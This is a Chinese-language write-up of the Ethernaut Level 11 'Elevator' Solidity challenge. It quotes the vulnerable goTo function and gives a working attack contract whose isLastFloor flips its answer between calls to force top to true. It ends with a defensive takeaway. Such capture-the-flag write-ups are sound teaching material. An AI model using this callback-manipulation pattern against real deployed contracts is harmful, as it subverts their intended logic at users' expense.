Ethernaut – Level 11 : Elevator

(https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687)

這一關要搭電梯到頂樓,到達頂樓時,變數TOP=True,那就過關了。

這關的程式如下:

function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }

運用goTo這個函數來搭電梯上樓,再仔細一看,哎呀,這不是永遠都不會到top= true嗎? 因為top= building.isLastFloor(floor),但是要進入這個這個執行式必須要 building.isLastFloor(floor)=false,除非…第一次呼叫時為false,第二次呼叫時為true!

這一關有兩個知識點,一是interface,二是可變動呼叫結果的函數:

首先來說interface,需要有interface關鍵字,并且内部只需要有函數的定義,不需要實際implementation(如本關的interface Building{} )。而使用上只要某合約有該interface的函數(包含實現),就可以被合約所接受成為該interface類的物件 (利用類似 Building A = Building(“某有該interface的函數的合約位址”),此時合約內可用A.該函數()來呼叫 )。而我們這關題目goTo函式內寫Building building = Building(msg.sender),因此我們可以另外寫一隻攻擊合約,並用這隻攻擊合約來呼叫goTo,另外在此攻擊合約中寫上我們自己的isLastFloor(),則呼叫goTo時,就會執行我們自己的isLastFloor()。

接下來就是我們自己的isLastFloor()要怎麼達成同一個參數下,第一次呼叫為false,第二次呼叫為true的目標,其實很簡單,設一個合約中的全域變數,每呼叫一次就從true變false(or false變true),返回該變數就可以達成目標了。

有了上述的理解後,這題解起來就不玄了,在Remix中寫出以下的合約,deploy後執行takeElevator(forFloor參數輸入任一數字都可),即可過關。(tip: submit level 前可以用 await contract.top()來確定是否top=true。)

contract myElevator is Building {

    bool public flip = true;
    Elevator public elv1 = Elevator([your_level_instance_address]);

    function isLastFloor(uint) external override returns(bool){
        flip = !flip;
        return flip;
    }

    function takeElevator(uint forFloor) public{
        elv1.goTo(forFloor);
    }

}

*Takeaway:

  • 當使用interface 或繼承合約(該合約使用interface)時,需要注意是否會依照原本所想的進行,如同本題,即使使用同一個名稱的interface,可能執行不一樣的程式。